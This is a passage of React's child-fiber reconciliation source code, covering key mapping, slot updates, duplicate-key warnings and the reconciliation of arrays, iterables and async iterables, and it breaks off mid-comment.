invalidChild);\n  }\n}\n\nfunction warnOnSymbolTypeImpl(returnFiber: Fiber, invalidChild: symbol) {\n  if (__DEV__) {\n    const parentName = getComponentNameFromFiber(returnFiber) || 'Component';\n\n    if (ownerHasSymbolTypeWarning[parentName]) {\n      return;\n    }\n    ownerHasSymbolTypeWarning[parentName] = true;\n\n    // eslint-disable-next-line react-internal/safe-string-coercion\n    const name = String(invalidChild);\n\n    if (returnFiber.tag === HostRoot) {\n      console.error(\n        'Symbols are not valid as a React child.\\n' + '  root.render(%s)',\n        name,\n      );\n    } else {\n      console.error(\n        'Symbols are not valid as a React child.\\n' + '  <%s>%s</%s>',\n        parentName,\n        name,\n        parentName,\n      );\n    }\n  }\n}\n\nfunction warnOnSymbolType(returnFiber: Fiber, invalidChild: symbol) {\n  const debugTask = getCurrentDebugTask();\n  if (__DEV__ && debugTask !== null) {\n    debugTask.run(warnOnSymbolTypeImpl.bind(null, returnFiber, invalidChild));\n  } else {\n    warnOnSymbolTypeImpl(returnFiber, invalidChild);\n  }\n}\n\ntype ChildReconciler = (\n  returnFiber: Fiber,\n  currentFirstChild: Fiber | null,\n  newChild: any,\n  lanes: Lanes,\n) => Fiber | null;\n\n// This wrapper function exists because I expect to clone the code in each path\n// to be able to optimize each path individually by branching early. This needs\n// a compiler or we can do it manually. Helpers that don't need this branching\n// live outside of this function.\nfunction createChildReconciler(\n  shouldTrackSideEffects: boolean,\n): ChildReconciler {\n  function deleteChild(returnFiber: Fiber, childToDelete: Fiber): void {\n    if (!shouldTrackSideEffects) {\n      // Noop.\n      return;\n    }\n    const deletions = returnFiber.deletions;\n    if (deletions === null) {\n      returnFiber.deletions = [childToDelete];\n      returnFiber.flags |= ChildDeletion;\n    } else {\n      deletions.push(childToDelete);\n    }\n  }\n\n  function deleteRemainingChildren(\n    returnFiber: Fiber,\n    currentFirstChild: Fiber | null,\n  ): null {\n    if (!shouldTrackSideEffects) {\n      // Noop.\n      return null;\n    }\n\n    // TODO: For the shouldClone case, this could be micro-optimized a bit by\n    // assuming that after the first child we've already added everything.\n    let childToDelete = currentFirstChild;\n    while (childToDelete !== null) {\n      deleteChild(returnFiber, childToDelete);\n      childToDelete = childToDelete.sibling;\n    }\n    return null;\n  }\n\n  function mapRemainingChildren(\n    currentFirstChild: Fiber,\n  ): Map<string | number | ReactOptimisticKey, Fiber> {\n    // Add the remaining children to a temporary map so that we can find them by\n    // keys quickly. Implicit (null) keys get added to this set with their index\n    // instead.\n    const existingChildren: Map<\n      | string\n      | number\n      // This type is only here for the case when enableOptimisticKey is disabled.\n      // Remove it after it ships.\n      | ReactOptimisticKey,\n      Fiber,\n    > = new Map();\n\n    let existingChild: null | Fiber = currentFirstChild;\n    while (existingChild !== null) {\n      if (existingChild.key === null) {\n        existingChildren.set(existingChild.index, existingChild);\n      } else if (\n        enableOptimisticKey &&\n        existingChild.key === REACT_OPTIMISTIC_KEY\n      ) {\n        // For optimistic keys, we store the negative index (minus one) to differentiate\n        // them from the regular indices. We'll look this up regardless of what the new\n        // key is, if there's no other match.\n        existingChildren.set(-existingChild.index - 1, existingChild);\n      } else {\n        existingChildren.set(existingChild.key, existingChild);\n      }\n      existingChild = existingChild.sibling;\n    }\n    return existingChildren;\n  }\n\n  function useFiber(fiber: Fiber, pendingProps: mixed): Fiber {\n    // We currently set sibling to null and index to 0 here because it is easy\n    // to forget to do before returning it. E.g. for the single child case.\n    const clone = createWorkInProgress(fiber, pendingProps);\n    clone.index = 0;\n    clone.sibling = null;\n    return clone;\n  }\n\n  function placeChild(\n    newFiber: Fiber,\n    lastPlacedIndex: number,\n    newIndex: number,\n  ): number {\n    newFiber.index = newIndex;\n    if (!shouldTrackSideEffects) {\n      // During hydration, the useId algorithm needs to know which fibers are\n      // part of a list of children (arrays, iterators).\n      newFiber.flags |= Forked;\n      return lastPlacedIndex;\n    }\n    const current = newFiber.alternate;\n    if (current !== null) {\n      const oldIndex = current.index;\n      if (oldIndex < lastPlacedIndex) {\n        // This is a move.\n        newFiber.flags |= Placement | PlacementDEV;\n        return lastPlacedIndex;\n      } else {\n        // This item can stay in place.\n        return oldIndex;\n      }\n    } else {\n      // This is an insertion.\n      newFiber.flags |= Placement | PlacementDEV;\n      return lastPlacedIndex;\n    }\n  }\n\n  function placeSingleChild(newFiber: Fiber): Fiber {\n    // This is simpler for the single child case. We only need to do a\n    // placement for inserting new children.\n    if (shouldTrackSideEffects && newFiber.alternate === null) {\n      newFiber.flags |= Placement | PlacementDEV;\n    }\n    return newFiber;\n  }\n\n  function updateTextNode(\n    returnFiber: Fiber,\n    current: Fiber | null,\n    textContent: string,\n    lanes: Lanes,\n  ) {\n    if (current === null || current.tag !== HostText) {\n      // Insert\n      const created = createFiberFromText(textContent, returnFiber.mode, lanes);\n      created.return = returnFiber;\n      if (__DEV__) {\n        // We treat the parent as the owner for stack purposes.\n        created._debugOwner = returnFiber;\n        created._debugTask = returnFiber._debugTask;\n        created._debugInfo = currentDebugInfo;\n      }\n      return created;\n    } else {\n      // Update\n      const existing = useFiber(current, textContent);\n      existing.return = returnFiber;\n      if (__DEV__) {\n        existing._debugInfo = currentDebugInfo;\n      }\n      return existing;\n    }\n  }\n\n  function updateElement(\n    returnFiber: Fiber,\n    current: Fiber | null,\n    element: ReactElement,\n    lanes: Lanes,\n  ): Fiber {\n    const elementType = element.type;\n    if (elementType === REACT_FRAGMENT_TYPE) {\n      const updated = updateFragment(\n        returnFiber,\n        current,\n        element.props.children,\n        lanes,\n        element.key,\n      );\n      if (enableFragmentRefs) {\n        coerceRef(updated, element);\n      }\n      validateFragmentProps(element, updated, returnFiber);\n      return updated;\n    }\n    if (current !== null) {\n      if (\n        current.elementType === elementType ||\n        // Keep this check inline so it only runs on the false path:\n        (__DEV__\n          ? isCompatibleFamilyForHotReloading(current, element)\n          : false) ||\n        // Lazy types should reconcile their resolved type.\n        // We need to do this after the Hot Reloading check above,\n        // because hot reloading has different semantics than prod because\n        // it doesn't resuspend. So we can't let the call below suspend.\n        (typeof elementType === 'object' &&\n          elementType !== null &&\n          elementType.$$typeof === REACT_LAZY_TYPE &&\n          resolveLazy(elementType) === current.type)\n      ) {\n        // Move based on index\n        const existing = useFiber(current, element.props);\n        coerceRef(existing, element);\n        existing.return = returnFiber;\n        if (__DEV__) {\n          existing._debugOwner = element._owner;\n          existing._debugInfo = currentDebugInfo;\n        }\n        return existing;\n      }\n    }\n    // Insert\n    const created = createFiberFromElement(element, returnFiber.mode, lanes);\n    coerceRef(created, element);\n    created.return = returnFiber;\n    if (__DEV__) {\n      created._debugInfo = currentDebugInfo;\n    }\n    return created;\n  }\n\n  function updatePortal(\n    returnFiber: Fiber,\n    current: Fiber | null,\n    portal: ReactPortal,\n    lanes: Lanes,\n  ): Fiber {\n    if (\n      current === null ||\n      current.tag !== HostPortal ||\n      current.stateNode.containerInfo !== portal.containerInfo ||\n      current.stateNode.implementation !== portal.implementation\n    ) {\n      // Insert\n      const created = createFiberFromPortal(portal, returnFiber.mode, lanes);\n      created.return = returnFiber;\n      if (__DEV__) {\n        created._debugInfo = currentDebugInfo;\n      }\n      return created;\n    } else {\n      // Update\n      const existing = useFiber(current, portal.children || []);\n      if (enableOptimisticKey) {\n        // If the old key was optimistic we need to now save the real one.\n        existing.key = portal.key;\n      }\n      existing.return = returnFiber;\n      if (__DEV__) {\n        existing._debugInfo = currentDebugInfo;\n      }\n      return existing;\n    }\n  }\n\n  function updateFragment(\n    returnFiber: Fiber,\n    current: Fiber | null,\n    fragment: Iterable<React$Node>,\n    lanes: Lanes,\n    key: ReactKey,\n  ): Fiber {\n    if (current === null || current.tag !== Fragment) {\n      // Insert\n      const created = createFiberFromFragment(\n        fragment,\n        returnFiber.mode,\n        lanes,\n        key,\n      );\n      created.return = returnFiber;\n      if (__DEV__) {\n        // We treat the parent as the owner for stack purposes.\n        created._debugOwner = returnFiber;\n        created._debugTask = returnFiber._debugTask;\n        created._debugInfo = currentDebugInfo;\n      }\n      return created;\n    } else {\n      // Update\n      const existing = useFiber(current, fragment);\n      if (enableOptimisticKey) {\n        // If the old key was optimistic we need to now save the real one.\n        existing.key = key;\n      }\n      existing.return = returnFiber;\n      if (__DEV__) {\n        existing._debugInfo = currentDebugInfo;\n      }\n      return existing;\n    }\n  }\n\n  function createChild(\n    returnFiber: Fiber,\n    newChild: any,\n    lanes: Lanes,\n  ): Fiber | null {\n    if (\n      (typeof newChild === 'string' && newChild !== '') ||\n      typeof newChild === 'number' ||\n      typeof newChild === 'bigint'\n    ) {\n      // Text nodes don't have keys. If the previous node is implicitly keyed\n      // we can continue to replace it without aborting even if it is not a text\n      // node.\n      const created = createFiberFromText(\n        // $FlowFixMe[unsafe-addition] Flow doesn't want us to use `+` operator with string and bigint\n        '' + newChild,\n        returnFiber.mode,\n        lanes,\n      );\n      created.return = returnFiber;\n      if (__DEV__) {\n        // We treat the parent as the owner for stack purposes.\n        created._debugOwner = returnFiber;\n        created._debugTask = returnFiber._debugTask;\n        created._debugInfo = currentDebugInfo;\n      }\n      return created;\n    }\n\n    if (typeof newChild === 'object' && newChild !== null) {\n      switch (newChild.$$typeof) {\n        case REACT_ELEMENT_TYPE: {\n          const created = createFiberFromElement(\n            newChild,\n            returnFiber.mode,\n            lanes,\n          );\n          coerceRef(created, newChild);\n          created.return = returnFiber;\n          if (__DEV__) {\n            const prevDebugInfo = pushDebugInfo(newChild._debugInfo);\n            created._debugInfo = currentDebugInfo;\n            currentDebugInfo = prevDebugInfo;\n          }\n          return created;\n        }\n        case REACT_PORTAL_TYPE: {\n          const created = createFiberFromPortal(\n            newChild,\n            returnFiber.mode,\n            lanes,\n          );\n          created.return = returnFiber;\n          if (__DEV__) {\n            created._debugInfo = currentDebugInfo;\n          }\n          return created;\n        }\n        case REACT_LAZY_TYPE: {\n          const prevDebugInfo = pushDebugInfo(newChild._debugInfo);\n          const resolvedChild = resolveLazy((newChild: any));\n          const created = createChild(returnFiber, resolvedChild, lanes);\n          currentDebugInfo = prevDebugInfo;\n          return created;\n        }\n      }\n\n      if (\n        isArray(newChild) ||\n        getIteratorFn(newChild) ||\n        (enableAsyncIterableChildren &&\n          typeof newChild[ASYNC_ITERATOR] === 'function')\n      ) {\n        const created = createFiberFromFragment(\n          newChild,\n          returnFiber.mode,\n          lanes,\n          null,\n        );\n        created.return = returnFiber;\n        if (__DEV__) {\n          // We treat the parent as the owner for stack purposes.\n          created._debugOwner = returnFiber;\n          created._debugTask = returnFiber._debugTask;\n          // Make sure to not push again when handling the Fragment child.\n          const prevDebugInfo = pushDebugInfo(newChild._debugInfo);\n          created._debugInfo = currentDebugInfo;\n          currentDebugInfo = prevDebugInfo;\n        }\n        return created;\n      }\n\n      // Usable node types\n      //\n      // Unwrap the inner value and recursively call this function again.\n      if (typeof newChild.then === 'function') {\n        const thenable: Thenable<any> = (newChild: any);\n        const prevDebugInfo = pushDebugInfo(newChild._debugInfo);\n        const created = createChild(\n          returnFiber,\n          unwrapThenable(thenable),\n          lanes,\n        );\n        currentDebugInfo = prevDebugInfo;\n        return created;\n      }\n\n      if (newChild.$$typeof === REACT_CONTEXT_TYPE) {\n        const context: ReactContext<mixed> = (newChild: any);\n        return createChild(\n          returnFiber,\n          readContextDuringReconciliation(returnFiber, context, lanes),\n          lanes,\n        );\n      }\n\n      throwOnInvalidObjectType(returnFiber, newChild);\n    }\n\n    if (__DEV__) {\n      if (typeof newChild === 'function') {\n        warnOnFunctionType(returnFiber, newChild);\n      }\n      if (typeof newChild === 'symbol') {\n        warnOnSymbolType(returnFiber, newChild);\n      }\n    }\n\n    return null;\n  }\n\n  function updateSlot(\n    returnFiber: Fiber,\n    oldFiber: Fiber | null,\n    newChild: any,\n    lanes: Lanes,\n  ): Fiber | null {\n    // Update the fiber if the keys match, otherwise return null.\n    const key = oldFiber !== null ? oldFiber.key : null;\n\n    if (\n      (typeof newChild === 'string' && newChild !== '') ||\n      typeof newChild === 'number' ||\n      typeof newChild === 'bigint'\n    ) {\n      // Text nodes don't have keys. If the previous node is implicitly keyed\n      // we can continue to replace it without aborting even if it is not a text\n      // node.\n      if (key !== null) {\n        return null;\n      }\n      return updateTextNode(\n        returnFiber,\n        oldFiber,\n        // $FlowFixMe[unsafe-addition] Flow doesn't want us to use `+` operator with string and bigint\n        '' + newChild,\n        lanes,\n      );\n    }\n\n    if (typeof newChild === 'object' && newChild !== null) {\n      switch (newChild.$$typeof) {\n        case REACT_ELEMENT_TYPE: {\n          if (\n            // If the old child was an optimisticKey, then we'd normally consider that a match,\n            // but instead, we'll bail to return null from the slot which will bail to slow path.\n            // That's to ensure that if the new key has a match elsewhere in the list, then that\n            // takes precedence over assuming the identity of an optimistic slot.\n            newChild.key === key\n          ) {\n            const prevDebugInfo = pushDebugInfo(newChild._debugInfo);\n            const updated = updateElement(\n              returnFiber,\n              oldFiber,\n              newChild,\n              lanes,\n            );\n            currentDebugInfo = prevDebugInfo;\n            return updated;\n          } else {\n            return null;\n          }\n        }\n        case REACT_PORTAL_TYPE: {\n          if (\n            // If the old child was an optimisticKey, then we'd normally consider that a match,\n            // but instead, we'll bail to return null from the slot which will bail to slow path.\n            // That's to ensure that if the new key has a match elsewhere in the list, then that\n            // takes precedence over assuming the identity of an optimistic slot.\n            newChild.key === key\n          ) {\n            return updatePortal(returnFiber, oldFiber, newChild, lanes);\n          } else {\n            return null;\n          }\n        }\n        case REACT_LAZY_TYPE: {\n          const prevDebugInfo = pushDebugInfo(newChild._debugInfo);\n          const resolvedChild = resolveLazy((newChild: any));\n          const updated = updateSlot(\n            returnFiber,\n            oldFiber,\n            resolvedChild,\n            lanes,\n          );\n          currentDebugInfo = prevDebugInfo;\n          return updated;\n        }\n      }\n\n      if (\n        isArray(newChild) ||\n        getIteratorFn(newChild) ||\n        (enableAsyncIterableChildren &&\n          typeof newChild[ASYNC_ITERATOR] === 'function')\n      ) {\n        if (key !== null) {\n          return null;\n        }\n\n        const prevDebugInfo = pushDebugInfo(newChild._debugInfo);\n        const updated = updateFragment(\n          returnFiber,\n          oldFiber,\n          newChild,\n          lanes,\n          null,\n        );\n        currentDebugInfo = prevDebugInfo;\n        return updated;\n      }\n\n      // Usable node types\n      //\n      // Unwrap the inner value and recursively call this function again.\n      if (typeof newChild.then === 'function') {\n        const thenable: Thenable<any> = (newChild: any);\n        const prevDebugInfo = pushDebugInfo((thenable: any)._debugInfo);\n        const updated = updateSlot(\n          returnFiber,\n          oldFiber,\n          unwrapThenable(thenable),\n          lanes,\n        );\n        currentDebugInfo = prevDebugInfo;\n        return updated;\n      }\n\n      if (newChild.$$typeof === REACT_CONTEXT_TYPE) {\n        const context: ReactContext<mixed> = (newChild: any);\n        return updateSlot(\n          returnFiber,\n          oldFiber,\n          readContextDuringReconciliation(returnFiber, context, lanes),\n          lanes,\n        );\n      }\n\n      throwOnInvalidObjectType(returnFiber, newChild);\n    }\n\n    if (__DEV__) {\n      if (typeof newChild === 'function') {\n        warnOnFunctionType(returnFiber, newChild);\n      }\n      if (typeof newChild === 'symbol') {\n        warnOnSymbolType(returnFiber, newChild);\n      }\n    }\n\n    return null;\n  }\n\n  function updateFromMap(\n    existingChildren: Map<string | number | ReactOptimisticKey, Fiber>,\n    returnFiber: Fiber,\n    newIdx: number,\n    newChild: any,\n    lanes: Lanes,\n  ): Fiber | null {\n    if (\n      (typeof newChild === 'string' && newChild !== '') ||\n      typeof newChild === 'number' ||\n      typeof newChild === 'bigint'\n    ) {\n      // Text nodes don't have keys, so we neither have to check the old nor\n      // new node for the key. If both are text nodes, they match.\n      const matchedFiber = existingChildren.get(newIdx) || null;\n      return updateTextNode(\n        returnFiber,\n        matchedFiber,\n        // $FlowFixMe[unsafe-addition] Flow doesn't want us to use `+` operator with string and bigint\n        '' + newChild,\n        lanes,\n      );\n    }\n\n    if (typeof newChild === 'object' && newChild !== null) {\n      switch (newChild.$$typeof) {\n        case REACT_ELEMENT_TYPE: {\n          const matchedFiber =\n            existingChildren.get(\n              newChild.key === null ? newIdx : newChild.key,\n            ) ||\n            (enableOptimisticKey &&\n              // If the existing child was an optimistic key, we may still match on the index.\n              existingChildren.get(-newIdx - 1)) ||\n            null;\n          const prevDebugInfo = pushDebugInfo(newChild._debugInfo);\n          const updated = updateElement(\n            returnFiber,\n            matchedFiber,\n            newChild,\n            lanes,\n          );\n          currentDebugInfo = prevDebugInfo;\n          return updated;\n        }\n        case REACT_PORTAL_TYPE: {\n          const matchedFiber =\n            existingChildren.get(\n              newChild.key === null ? newIdx : newChild.key,\n            ) ||\n            (enableOptimisticKey &&\n              // If the existing child was an optimistic key, we may still match on the index.\n              existingChildren.get(-newIdx - 1)) ||\n            null;\n          return updatePortal(returnFiber, matchedFiber, newChild, lanes);\n        }\n        case REACT_LAZY_TYPE: {\n          const prevDebugInfo = pushDebugInfo(newChild._debugInfo);\n          const resolvedChild = resolveLazy((newChild: any));\n          const updated = updateFromMap(\n            existingChildren,\n            returnFiber,\n            newIdx,\n            resolvedChild,\n            lanes,\n          );\n          currentDebugInfo = prevDebugInfo;\n          return updated;\n        }\n      }\n\n      if (\n        isArray(newChild) ||\n        getIteratorFn(newChild) ||\n        (enableAsyncIterableChildren &&\n          typeof newChild[ASYNC_ITERATOR] === 'function')\n      ) {\n        const matchedFiber = existingChildren.get(newIdx) || null;\n        const prevDebugInfo = pushDebugInfo(newChild._debugInfo);\n        const updated = updateFragment(\n          returnFiber,\n          matchedFiber,\n          newChild,\n          lanes,\n          null,\n        );\n        currentDebugInfo = prevDebugInfo;\n        return updated;\n      }\n\n      // Usable node types\n      //\n      // Unwrap the inner value and recursively call this function again.\n      if (typeof newChild.then === 'function') {\n        const thenable: Thenable<any> = (newChild: any);\n        const prevDebugInfo = pushDebugInfo((thenable: any)._debugInfo);\n        const updated = updateFromMap(\n          existingChildren,\n          returnFiber,\n          newIdx,\n          unwrapThenable(thenable),\n          lanes,\n        );\n        currentDebugInfo = prevDebugInfo;\n        return updated;\n      }\n\n      if (newChild.$$typeof === REACT_CONTEXT_TYPE) {\n        const context: ReactContext<mixed> = (newChild: any);\n        return updateFromMap(\n          existingChildren,\n          returnFiber,\n          newIdx,\n          readContextDuringReconciliation(returnFiber, context, lanes),\n          lanes,\n        );\n      }\n\n      throwOnInvalidObjectType(returnFiber, newChild);\n    }\n\n    if (__DEV__) {\n      if (typeof newChild === 'function') {\n        warnOnFunctionType(returnFiber, newChild);\n      }\n      if (typeof newChild === 'symbol') {\n        warnOnSymbolType(returnFiber, newChild);\n      }\n    }\n\n    return null;\n  }\n\n  /**\n   * Warns if there is a duplicate or missing key\n   */\n  function warnOnInvalidKey(\n    returnFiber: Fiber,\n    workInProgress: Fiber,\n    child: mixed,\n    knownKeys: Set<string> | null,\n  ): Set<string> | null {\n    if (__DEV__) {\n      if (typeof child !== 'object' || child === null) {\n        return knownKeys;\n      }\n      switch (child.$$typeof) {\n        case REACT_ELEMENT_TYPE:\n        case REACT_PORTAL_TYPE:\n          warnForMissingKey(returnFiber, workInProgress, child);\n          const key = child.key;\n          if (typeof key !== 'string') {\n            break;\n          }\n          if (knownKeys === null) {\n            knownKeys = new Set();\n            knownKeys.add(key);\n            break;\n          }\n          if (!knownKeys.has(key)) {\n            knownKeys.add(key);\n            break;\n          }\n          runWithFiberInDEV(workInProgress, () => {\n            console.error(\n              'Encountered two children with the same key, `%s`. ' +\n                'Keys should be unique so that components maintain their identity ' +\n                'across updates. Non-unique keys may cause children to be ' +\n                'duplicated and/or omitted — the behavior is unsupported and ' +\n                'could change in a future version.',\n              key,\n            );\n          });\n          break;\n        case REACT_LAZY_TYPE: {\n          const resolvedChild = resolveLazy((child: any));\n          warnOnInvalidKey(\n            returnFiber,\n            workInProgress,\n            resolvedChild,\n            knownKeys,\n          );\n          break;\n        }\n        default:\n          break;\n      }\n    }\n    return knownKeys;\n  }\n\n  function reconcileChildrenArray(\n    returnFiber: Fiber,\n    currentFirstChild: Fiber | null,\n    newChildren: Array<any>,\n    lanes: Lanes,\n  ): Fiber | null {\n    // This algorithm can't optimize by searching from both ends since we\n    // don't have backpointers on fibers. I'm trying to see how far we can get\n    // with that model. If it ends up not being worth the tradeoffs, we can\n    // add it later.\n\n    // Even with a two ended optimization, we'd want to optimize for the case\n    // where there are few changes and brute force the comparison instead of\n    // going for the Map. It'd like to explore hitting that path first in\n    // forward-only mode and only go for the Map once we notice that we need\n    // lots of look ahead. This doesn't handle reversal as well as two ended\n    // search but that's unusual. Besides, for the two ended optimization to\n    // work on Iterables, we'd need to copy the whole set.\n\n    // In this first iteration, we'll just live with hitting the bad case\n    // (adding everything to a Map) in for every insert/move.\n\n    // If you change this code, also update reconcileChildrenIterator() which\n    // uses the same algorithm.\n\n    let knownKeys: Set<string> | null = null;\n\n    let resultingFirstChild: Fiber | null = null;\n    let previousNewFiber: Fiber | null = null;\n\n    let oldFiber = currentFirstChild;\n    let lastPlacedIndex = 0;\n    let newIdx = 0;\n    let nextOldFiber = null;\n    for (; oldFiber !== null && newIdx < newChildren.length; newIdx++) {\n      if (oldFiber.index > newIdx) {\n        nextOldFiber = oldFiber;\n        oldFiber = null;\n      } else {\n        nextOldFiber = oldFiber.sibling;\n      }\n      const newFiber = updateSlot(\n        returnFiber,\n        oldFiber,\n        newChildren[newIdx],\n        lanes,\n      );\n      if (newFiber === null) {\n        // TODO: This breaks on empty slots like null children. That's\n        // unfortunate because it triggers the slow path all the time. We need\n        // a better way to communicate whether this was a miss or null,\n        // boolean, undefined, etc.\n        if (oldFiber === null) {\n          oldFiber = nextOldFiber;\n        }\n        break;\n      }\n\n      if (__DEV__) {\n        knownKeys = warnOnInvalidKey(\n          returnFiber,\n          newFiber,\n          newChildren[newIdx],\n          knownKeys,\n        );\n      }\n\n      if (shouldTrackSideEffects) {\n        if (oldFiber && newFiber.alternate === null) {\n          // We matched the slot, but we didn't reuse the existing fiber, so we\n          // need to delete the existing child.\n          deleteChild(returnFiber, oldFiber);\n        }\n      }\n      lastPlacedIndex = placeChild(newFiber, lastPlacedIndex, newIdx);\n      if (previousNewFiber === null) {\n        // TODO: Move out of the loop. This only happens for the first run.\n        resultingFirstChild = newFiber;\n      } else {\n        // TODO: Defer siblings if we're not at the right index for this slot.\n        // I.e. if we had null values before, then we want to defer this\n        // for each null value. However, we also don't want to call updateSlot\n        // with the previous one.\n        previousNewFiber.sibling = newFiber;\n      }\n      previousNewFiber = newFiber;\n      oldFiber = nextOldFiber;\n    }\n\n    if (newIdx === newChildren.length) {\n      // We've reached the end of the new children. We can delete the rest.\n      deleteRemainingChildren(returnFiber, oldFiber);\n      if (getIsHydrating()) {\n        const numberOfForks = newIdx;\n        pushTreeFork(returnFiber, numberOfForks);\n      }\n      return resultingFirstChild;\n    }\n\n    if (oldFiber === null) {\n      // If we don't have any more existing children we can choose a fast path\n      // since the rest will all be insertions.\n      for (; newIdx < newChildren.length; newIdx++) {\n        const newFiber = createChild(returnFiber, newChildren[newIdx], lanes);\n        if (newFiber === null) {\n          continue;\n        }\n        if (__DEV__) {\n          knownKeys = warnOnInvalidKey(\n            returnFiber,\n            newFiber,\n            newChildren[newIdx],\n            knownKeys,\n          );\n        }\n        lastPlacedIndex = placeChild(newFiber, lastPlacedIndex, newIdx);\n        if (previousNewFiber === null) {\n          // TODO: Move out of the loop. This only happens for the first run.\n          resultingFirstChild = newFiber;\n        } else {\n          previousNewFiber.sibling = newFiber;\n        }\n        previousNewFiber = newFiber;\n      }\n      if (getIsHydrating()) {\n        const numberOfForks = newIdx;\n        pushTreeFork(returnFiber, numberOfForks);\n      }\n      return resultingFirstChild;\n    }\n\n    // Add all children to a key map for quick lookups.\n    const existingChildren = mapRemainingChildren(oldFiber);\n\n    // Keep scanning and use the map to restore deleted items as moves.\n    for (; newIdx < newChildren.length; newIdx++) {\n      const newFiber = updateFromMap(\n        existingChildren,\n        returnFiber,\n        newIdx,\n        newChildren[newIdx],\n        lanes,\n      );\n      if (newFiber !== null) {\n        if (__DEV__) {\n          knownKeys = warnOnInvalidKey(\n            returnFiber,\n            newFiber,\n            newChildren[newIdx],\n            knownKeys,\n          );\n        }\n        if (shouldTrackSideEffects) {\n          const currentFiber = newFiber.alternate;\n          if (currentFiber !== null) {\n            // The new fiber is a work in progress, but if there exists a\n            // current, that means that we reused the fiber. We need to delete\n            // it from the child list so that we don't add it to the deletion\n            // list.\n            if (\n              enableOptimisticKey &&\n              currentFiber.key === REACT_OPTIMISTIC_KEY\n            ) {\n              existingChildren.delete(-newIdx - 1);\n            } else {\n              existingChildren.delete(\n                currentFiber.key === null ? newIdx : currentFiber.key,\n              );\n            }\n          }\n        }\n        lastPlacedIndex = placeChild(newFiber, lastPlacedIndex, newIdx);\n        if (previousNewFiber === null) {\n          resultingFirstChild = newFiber;\n        } else {\n          previousNewFiber.sibling = newFiber;\n        }\n        previousNewFiber = newFiber;\n      }\n    }\n\n    if (shouldTrackSideEffects) {\n      // Any existing children that weren't consumed above were deleted. We need\n      // to add them to the deletion list.\n      existingChildren.forEach(child => deleteChild(returnFiber, child));\n    }\n\n    if (getIsHydrating()) {\n      const numberOfForks = newIdx;\n      pushTreeFork(returnFiber, numberOfForks);\n    }\n    return resultingFirstChild;\n  }\n\n  function reconcileChildrenIteratable(\n    returnFiber: Fiber,\n    currentFirstChild: Fiber | null,\n    newChildrenIterable: Iterable<mixed>,\n    lanes: Lanes,\n  ): Fiber | null {\n    // This is the same implementation as reconcileChildrenArray(),\n    // but using the iterator instead.\n\n    const iteratorFn = getIteratorFn(newChildrenIterable);\n\n    if (typeof iteratorFn !== 'function') {\n      throw new Error(\n        'An object is not an iterable. This error is likely caused by a bug in ' +\n          'React. Please file an issue.',\n      );\n    }\n\n    const newChildren = iteratorFn.call(newChildrenIterable);\n\n    if (__DEV__) {\n      if (newChildren === newChildrenIterable) {\n        // We don't support rendering Generators as props because it's a mutation.\n        // See https://github.com/facebook/react/issues/12995\n        // We do support generators if they were created by a GeneratorFunction component\n        // as its direct child since we can recreate those by rerendering the component\n        // as needed.\n        const isGeneratorComponent =\n          returnFiber.tag === FunctionComponent &&\n          // $FlowFixMe[method-unbinding]\n          Object.prototype.toString.call(returnFiber.type) ===\n            '[object GeneratorFunction]' &&\n          // $FlowFixMe[method-unbinding]\n          Object.prototype.toString.call(newChildren) === '[object Generator]';\n        if (!isGeneratorComponent) {\n          if (!didWarnAboutGenerators) {\n            console.error(\n              'Using Iterators as children is unsupported and will likely yield ' +\n                'unexpected results because enumerating a generator mutates it. ' +\n                'You may convert it to an array with `Array.from()` or the ' +\n                '`[...spread]` operator before rendering. You can also use an ' +\n                'Iterable that can iterate multiple times over the same items.',\n            );\n          }\n          didWarnAboutGenerators = true;\n        }\n      } else if ((newChildrenIterable: any).entries === iteratorFn) {\n        // Warn about using Maps as children\n        if (!didWarnAboutMaps) {\n          console.error(\n            'Using Maps as children is not supported. ' +\n              'Use an array of keyed ReactElements instead.',\n          );\n          didWarnAboutMaps = true;\n        }\n      }\n    }\n\n    return reconcileChildrenIterator(\n      returnFiber,\n      currentFirstChild,\n      newChildren,\n      lanes,\n    );\n  }\n\n  function reconcileChildrenAsyncIteratable(\n    returnFiber: Fiber,\n    currentFirstChild: Fiber | null,\n    newChildrenIterable: AsyncIterable<mixed>,\n    lanes: Lanes,\n  ): Fiber | null {\n    const newChildren = newChildrenIterable[ASYNC_ITERATOR]();\n\n    if (__DEV__) {\n      if (newChildren === newChildrenIterable) {\n        // We don't support rendering AsyncGenerators as props because it's a mutation.\n        // We do support generators if they were created by a AsyncGeneratorFunction component\n        // as its direct child since we can recreate those by rerendering the component\n        // as needed.\n        const isGeneratorComponent =\n          returnFiber.tag === FunctionComponent &&\n          // $FlowFixMe[method-unbinding]\n          Object.prototype.toString.call(returnFiber.type) ===\n            '[object AsyncGeneratorFunction]' &&\n          // $FlowFixMe[method-unbinding]\n          Object.prototype.toString.call(newChildren) ===\n            '[object AsyncGenerator]';\n        if (!isGeneratorComponent) {\n          if (!didWarnAboutGenerators) {\n            console.error(\n              'Using AsyncIterators as children is unsupported and will likely yield ' +\n                'unexpected results because enumerating a generator mutates it. ' +\n                'You can use an AsyncIterable that can iterate multiple times over ' +\n                'the same items.',\n            );\n          }\n          didWarnAboutGenerators = true;\n        }\n      }\n    }\n\n    if (newChildren == null) {\n      throw new Error('An iterable object provided no iterator.');\n    }\n\n    // To save bytes, we reuse the logic by creating a synchronous Iterable and\n    // reusing that code path.\n    const iterator: Iterator<mixed> = ({\n      next(): IteratorResult<mixed, void> {\n        return unwrapThenable(newChildren.next());\n      },\n    }: any);\n\n    return reconcileChildrenIterator(\n      returnFiber,\n      currentFirstChild,\n      iterator,\n      lanes,\n    );\n  }\n\n  function reconcileChildrenIterator(\n    returnFiber: Fiber,\n    currentFirstChild: Fiber | null,\n    newChildren: ?Iterator<mixed>,\n    lanes: Lanes,\n  ): Fiber | null {\n    if (newChildren == null) {\n      throw new Error('An iterable object provided no iterator.');\n    }\n\n    let resultingFirstChild: Fiber | null = null;\n    let previousNewFiber: Fiber | null = null;\n\n    let oldFiber = currentFirstChild;\n    let lastPlacedIndex = 0;\n    let newIdx = 0;\n    let nextOldFiber = null;\n\n    let knownKeys: Set<string> | null = null;\n\n    let step = newChildren.next();\n    for (\n      ;\n      oldFiber !== null && !step.done;\n      newIdx++, step = newChildren.next()\n    ) {\n      if (oldFiber.index > newIdx) {\n        nextOldFiber = oldFiber;\n        oldFiber = null;\n      } else {\n        nextOldFiber = oldFiber.sibling;\n      }\n      const newFiber = updateSlot(returnFiber, oldFiber, step.value, lanes);\n      if (newFiber === null) {\n        // TODO: This breaks on empty slots like null children. That's\n        // unfortunate because it triggers the slow path all the time. We need\n        // a better way to communicate whether this was a miss or 